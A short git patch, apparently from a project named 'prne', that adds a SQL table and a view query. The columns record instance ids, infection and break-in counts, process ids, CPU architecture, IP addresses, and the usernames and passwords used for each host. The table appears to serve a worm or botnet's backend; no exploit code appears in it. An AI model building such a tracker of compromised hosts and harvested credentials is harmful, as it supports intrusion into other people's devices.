From 4c882d7216bb12d5821a108b9f11544a075c7024 Mon Sep 17 00:00:00 2001 From: David Timber Date: Tue, 20 Oct 2020 07:28:50 +1030 Subject: Impl hostinfod and extras ... * Use EOVERFLOW instead of E2BIG * Add prne_iobuf_zero() * Fix format check logic error in prne_htbt_ser_msg_head() * Add prne_dup_str() * Add prne_timespec_ms() --- src/data/sql/hi-create.sql | 19 +++++++++++++++++++ src/data/sql/hi-view.sql | 18 ++++++++++++++++++ 2 files changed, 37 insertions(+) create mode 100644 src/data/sql/hi-create.sql create mode 100644 src/data/sql/hi-view.sql (limited to 'src/data/sql') diff --git a/src/data/sql/hi-create.sql b/src/data/sql/hi-create.sql new file mode 100644 index 0000000..1887d04 --- /dev/null +++ b/src/data/sql/hi-create.sql @@ -0,0 +1,19 @@ +CREATE TABLE `prne-hi` ( + `instance_id` binary(16) NOT NULL, + `inserted` datetime NOT NULL, + `updated` datetime NOT NULL, + `parent_uptime` bigint(20) unsigned DEFAULT NULL, + `child_uptime` bigint(20) unsigned DEFAULT NULL, + `bne_cnt` bigint(20) unsigned DEFAULT NULL, + `infect_cnt` bigint(20) unsigned DEFAULT NULL, + `parent_pid` int(11) unsigned DEFAULT NULL, + `child_pid` int(11) unsigned DEFAULT NULL, + `prog_ver` binary(16) DEFAULT NULL, + `boot_id` binary(16) DEFAULT NULL, + `cred_id` varchar(255) DEFAULT NULL, + `cred_pw` varchar(255) DEFAULT NULL, + `crash_cnt` int(10) unsigned DEFAULT NULL, + `arch` varchar(255) DEFAULT NULL, + `ipaddr` binary(16) DEFAULT NULL, + PRIMARY KEY (`instance_id`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; diff --git a/src/data/sql/hi-view.sql b/src/data/sql/hi-view.sql new file mode 100644 index 0000000..39886db --- /dev/null +++ b/src/data/sql/hi-view.sql @@ -0,0 +1,18 @@ +SELECT + HEX(instance_id), + inserted, + updated, + parent_uptime, + child_uptime, + bne_cnt, + infect_cnt, + parent_pid, + child_pid, + HEX(prog_ver), + HEX(boot_id), + cred_id, + cred_pw, + crash_cnt, + arch, + INET6_NTOA(ipaddr) +FROM prne.`prne-hi`; -- cgit